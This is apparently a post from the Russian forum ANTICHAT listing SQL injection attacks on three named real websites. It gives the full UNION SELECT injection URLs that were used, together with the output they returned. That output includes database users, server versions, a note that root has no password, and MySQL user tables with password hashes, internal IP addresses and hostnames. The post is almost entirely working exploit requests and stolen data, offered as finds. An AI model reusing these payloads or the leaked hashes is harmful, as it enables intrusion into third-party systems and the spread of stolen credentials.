ANTICHAT - Показать сообщение отдельно

www.boosthead.com

Цитата:

http://www.boosthead.com/product.php?id=-18+union+select+1,2,3,4,5,6,aes_decrypt(aes_encryp t(concat_ws(0x3a,user(),version()),0x71),0x71),8,9 ,10,11,12,13,14,15,16,17,18,19,20,21/*

boosthead1@66.33.219.67:4.1.16-standard-log

доступа к mysql.user,таблы не подбирал,но сомневаюсь что там есть что-нить интересное.

www.pitatel.ru

Цитата:

http://www.pitatel.ru/mclass.php?id=2+and+1=222+union+select+1,concat_ws (0x3a,user(),version(),database())+from+mysql.user/*

Цитата:

http://www.pitatel.ru/product.php?id=5811+AND+1=2+union+select+1,2,3,con cat_ws(0x3a,user(),version(),database()),5,6,7,8,9/*

root@localhost:4.0.22-standard:mysql

Цитата:

http://www.pitatel.ru/mclass.php?id=2+and+1=222+union+select+1,concat_ws (0x3a,user,password,host,file_priv)+from+mysql.use r/*

root::localhost:N
::localhost:N
::main.hs.orc.ru:N
root::main.hs.orc.ru:Y

http://www.twn.tuv.com

Цитата:

http://www.twn.tuv.com/english/news/news_details4.asp?cate=30&n_no=1+union+select+1,2, 3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),database (),version()),13,14,15/*

administrator@localhost:tuv:4.0.15-nt-log
хмм...идём дальше...

Цитата:

http://www.twn.tuv.com/english/news/news_details4.asp?cate=30&n_no=1+union+select+1,2, 3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user,password,h ost),13,14,15+from+mysql.user/*

root без пароля,жаль что localhost,смотри дальше...

Цитата:

http://www.twn.tuv.com/english/news/news_details4.asp?cate=30&n_no=1+union+select+1,2, 3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user,password,h ost),13,14,15+from+mysql.user+limit+1,1/*

root::%
а это уже оч. интересно),смотрим дальше через лимит

::localhost
::%
administrator:6f413e564c08bbe7:localhost
administrator:6f413e564c08bbe7:%
webuser:7bd4ed7716dedbad:127.0.0.1
administrator:40d09e975f996754:10.160.15.84
administrator:40d09e975f996754:10.160.15.72
hct:40d09e975f996754:asktuv.twn.tuv.com
hct:40d09e975f996754:172.16.48.7
hct:40d09e975f996754:taipei-databases.twn.tuv.com
бывает....